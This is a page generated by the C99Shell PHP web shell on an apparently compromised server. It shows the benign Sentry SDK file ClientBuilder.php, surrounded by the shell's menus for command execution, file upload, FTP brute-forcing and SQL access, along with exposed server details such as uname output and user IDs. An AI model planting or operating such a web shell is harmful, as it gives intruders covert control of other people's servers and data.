!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/sentry/sentry/src/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ClientBuilder.php (4.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Sentry;

use 
Http\Discovery\Psr17FactoryDiscovery;
use 
Psr\Log\LoggerInterface;
use 
Sentry\HttpClient\HttpClientFactory;
use 
Sentry\Serializer\RepresentationSerializerInterface;
use 
Sentry\Serializer\SerializerInterface;
use 
Sentry\Transport\DefaultTransportFactory;
use 
Sentry\Transport\TransportFactoryInterface;
use 
Sentry\Transport\TransportInterface;

/**
 * The default implementation of {@link ClientBuilderInterface}.
 *
 * @author Stefano Arlandini <sarlandini@alice.it>
 */
final class ClientBuilder implements ClientBuilderInterface
{
    
/**
     * @var Options The client options
     */
    
private $options;

    
/**
     * @var TransportFactoryInterface|null The transport factory
     */
    
private $transportFactory;

    
/**
     * @var TransportInterface|null The transport
     */
    
private $transport;

    
/**
     * @var SerializerInterface|null The serializer to be injected in the client
     */
    
private $serializer;

    
/**
     * @var RepresentationSerializerInterface|null The representation serializer to be injected in the client
     */
    
private $representationSerializer;

    
/**
     * @var LoggerInterface|null A PSR-3 logger to log internal errors and debug messages
     */
    
private $logger;

    
/**
     * @var string The SDK identifier, to be used in {@see Event} and {@see SentryAuth}
     */
    
private $sdkIdentifier Client::SDK_IDENTIFIER;

    
/**
     * @var string The SDK version of the Client
     */
    
private $sdkVersion Client::SDK_VERSION;

    
/**
     * Class constructor.
     *
     * @param Options|null $options The client options
     */
    
public function __construct(Options $options null)
    {
        
$this->options $options ?? new Options();
    }

    
/**
     * {@inheritdoc}
     */
    
public static function create(array $options = []): ClientBuilderInterface
    
{
        return new 
self(new Options($options));
    }

    
/**
     * {@inheritdoc}
     */
    
public function getOptions(): Options
    
{
        return 
$this->options;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setSerializer(SerializerInterface $serializer): ClientBuilderInterface
    
{
        
$this->serializer $serializer;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setRepresentationSerializer(RepresentationSerializerInterface $representationSerializer): ClientBuilderInterface
    
{
        
$this->representationSerializer $representationSerializer;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setLogger(LoggerInterface $logger): ClientBuilderInterface
    
{
        
$this->logger $logger;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setSdkIdentifier(string $sdkIdentifier): ClientBuilderInterface
    
{
        
$this->sdkIdentifier $sdkIdentifier;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setSdkVersion(string $sdkVersion): ClientBuilderInterface
    
{
        
$this->sdkVersion $sdkVersion;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setTransportFactory(TransportFactoryInterface $transportFactory): ClientBuilderInterface
    
{
        
$this->transportFactory $transportFactory;

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getClient(): ClientInterface
    
{
        
$this->transport $this->transport ?? $this->createTransportInstance();

        return new 
Client($this->options$this->transport$this->sdkIdentifier$this->sdkVersion$this->serializer$this->representationSerializer$this->logger);
    }

    
/**
     * Creates a new instance of the transport mechanism.
     */
    
private function createTransportInstance(): TransportInterface
    
{
        if (
null !== $this->transport) {
            return 
$this->transport;
        }

        
$transportFactory $this->transportFactory ?? $this->createDefaultTransportFactory();

        return 
$transportFactory->create($this->options);
    }

    
/**
     * Creates a new instance of the {@see DefaultTransportFactory} factory.
     */
    
private function createDefaultTransportFactory(): DefaultTransportFactory
    
{
        
$streamFactory Psr17FactoryDiscovery::findStreamFactory();
        
$httpClientFactory = new HttpClientFactory(
            
null,
            
null,
            
$streamFactory,
            
null,
            
$this->sdkIdentifier,
            
$this->sdkVersion
        
);

        return new 
DefaultTransportFactory(
            
$streamFactory,
            
Psr17FactoryDiscovery::findRequestFactory(),
            
$httpClientFactory,
            
$this->logger
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--